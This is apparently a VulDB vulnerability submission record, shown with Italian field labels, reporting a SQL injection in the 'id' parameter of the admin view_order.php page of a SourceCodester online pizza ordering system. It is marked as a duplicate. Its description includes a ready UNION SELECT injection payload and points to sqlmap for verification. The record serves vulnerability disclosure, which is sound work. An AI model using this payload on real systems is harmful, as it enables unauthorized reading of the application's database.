Invia #102348: Online Pizza Ordering System SQL Injection Vulnerability
| Titolo | Online Pizza Ordering System SQL Injection Vulnerability |
|---|---|
| Descrizione | A SQL Injection Vulnerability has been discovered in Online Pizza Ordering System, the injectable parameter is 'id' in "/php-opos/admin/view_order.php?id=1 ". An effective poc is id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b787171,0x41797470455479466251504f745764466d664a6b6d4e68744f747155636a61455a61636953684b6b,0x7178766b71),NULL,NULL,NULL,NULL-- - You can also use sqlmap to verify it directly |
| Fonte | ⚠️ Vendor: https:/ |
| Utente | WWesleywww (UID 43117) |
| Sottomissione | 16/03/2023 12:34 (4 anni fa) |
| Moderazione | 17/03/2023 07:22 (19 hours later) |
| Stato | Duplicato |
| Voce VulDB | 222672 [SourceCodester Online Pizza Ordering System 1.0 /admin/view_order.php id iniezione SQL] |
| Punti | 0 |